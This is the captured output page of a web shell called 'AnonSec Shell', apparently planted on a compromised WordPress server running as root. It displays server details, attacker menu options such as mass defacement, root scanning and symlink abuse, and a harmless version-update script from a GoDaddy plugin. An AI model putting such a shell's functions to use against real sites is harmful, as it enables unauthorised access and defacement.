AnonSec Shell
Server IP : 104.21.14.48  /  Your IP : 3.138.172.215   [ Reverse IP ]
Web Server : Apache
System : Linux b70eb322-3aee-0c53-7c82-0db91281f2c6.secureserver.net 6.1.90-1.el9.elrepo.x86_64 #1 SMP PREEMPT_DYNAMIC Thu May 2 12:09:22 EDT 2024 x86_64
User : root ( 0)
PHP Version : 8.0.30.2
Disable Function : NONE
Domains : 0 Domains
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/wp-content/mu-plugins/vendor/wpex/godaddy-launch/.dev/bin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/wp-content/mu-plugins/vendor/wpex/godaddy-launch/.dev/bin/update-version.js
const fs = require('fs').promises;
const path = require('path');
const packageJson = require('../../package.json');

const filesToUpdate = [
	{
		filePath: 'godaddy-launch.php',
		searchPattern: /Version.*/,
		replacePattern: `Version: ${packageJson.version}`,
	},
    {
		filePath: 'includes/Application.php',
		searchPattern: /const VERSION.*/,
		replacePattern: `const VERSION = '${packageJson.version}';`,
	},
];

async function updateVersionInFiles() {
	for (const file of filesToUpdate) {
		try {
			const filePath = path.join(__dirname, '..', '..', file.filePath);
			const data = await fs.readFile(filePath, 'utf8');

			const updatedData = data.replace(file.searchPattern, file.replacePattern);

			await fs.writeFile(filePath, updatedData, 'utf8');
			console.log(`Updated version in ${file.filePath}`);
		} catch (error) {
			console.error(`Error updating ${file.filePath}: ${error.message}`);
		}
	}
}

updateVersionInFiles().then(() => {
	console.log('Version update process completed.');
}).catch(error => {
	console.error(`An error occurred: ${error.message}`);
});

Anon7 - 2022
AnonSec Team